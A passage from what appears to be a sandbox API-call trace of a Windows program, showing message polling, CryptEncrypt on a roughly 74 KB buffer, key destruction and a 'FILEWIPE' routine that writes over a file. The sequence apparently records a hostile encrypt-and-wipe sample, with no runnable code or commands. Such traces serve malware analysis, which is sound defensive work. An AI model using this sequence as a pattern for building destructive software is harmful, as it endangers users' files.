dwFlags=0x0 | out: pbData=0xe8f4064b60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.229] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.229] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.229] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.229] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.230] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.230] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.230] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.230] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.230] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.230] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.230] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.230] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.230] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.230] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.230] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.230] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.230] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.230] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.230] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.230] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1228f, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x12290) returned 1 [0028.231] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.231] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.231] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.231] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.231] CharLowerBuffW (in: lpsz="byte[74385]", cchLength=0xb | out: lpsz="byte[74385]") returned 0xb [0028.231] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.231] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.231] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.231] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.231] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.231] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43b0810*, pdwDataLen=0xe8f3dfdf68*=0x1228f, dwBufLen=0x12290 | out: pbData=0xe8f43b0810*, pdwDataLen=0xe8f3dfdf68*=0x12290) returned 1 [0028.231] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.231] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.232] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.232] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.232] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.238] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.238] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.238] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.238] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.238] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.238] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.238] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.238] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.238] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.238] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.238] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.239] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.239] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.239] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.239] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.239] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.239] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.239] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.239] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0028.239] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.239] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.239] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.239] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.239] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.239] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.241] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.242] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.244] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.244] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.244] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.245] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.245] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.245] CharLowerBuffW (in: lpsz="byte[74383]", cchLength=0xb | out: lpsz="byte[74383]") returned 0xb [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.246] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.246] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.246] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.246] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.247] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.247] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.247] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.247] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.247] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.247] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.248] 